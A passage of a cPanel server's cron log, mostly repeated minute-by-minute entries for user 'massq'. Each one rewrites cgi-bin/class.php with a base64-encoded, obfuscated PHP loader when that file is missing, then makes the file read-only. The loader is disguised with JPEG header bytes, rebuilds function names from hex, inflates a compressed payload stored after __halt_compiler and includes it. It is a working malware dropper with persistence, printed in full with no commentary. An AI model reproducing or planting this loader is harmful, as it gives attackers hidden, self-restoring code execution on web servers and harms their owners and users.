lDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:55:01 server CROND[30505]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 23:55:01 server CROND[30507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:55:01 server CROND[30506]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 23:56:01 server CROND[30721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:57:01 server CROND[30795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:57:01 server CROND[30796]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 23:58:01 server CROND[30858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:59:01 server CROND[30912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:00:01 server CROND[30982]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Apr 13 00:00:01 server CROND[30983]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 13 00:00:01 server CROND[30984]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 00:00:01 server CROND[30986]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 00:00:01 server CROND[30988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:00:01 server CROND[30987]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 00:01:01 server CROND[31143]: (root) CMD (run-parts /etc/cron.hourly)
Apr 13 00:01:01 server CROND[31144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:01:01 server run-parts(/etc/cron.hourly)[31143]: starting 0anacron
Apr 13 00:01:01 server anacron[31156]: Anacron started on 2025-04-13
Apr 13 00:01:01 server run-parts(/etc/cron.hourly)[31158]: finished 0anacron
Apr 13 00:01:01 server anacron[31156]: Normal exit (0 jobs run)
Apr 13 00:02:01 server CROND[31316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:03:01 server CROND[31383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:04:01 server CROND[31509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:05:01 server CROND[31575]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 00:05:01 server CROND[31576]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 13 00:05:01 server CROND[31577]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 00:05:01 server CROND[31578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:06:01 server CROND[31870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:07:01 server CROND[31927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
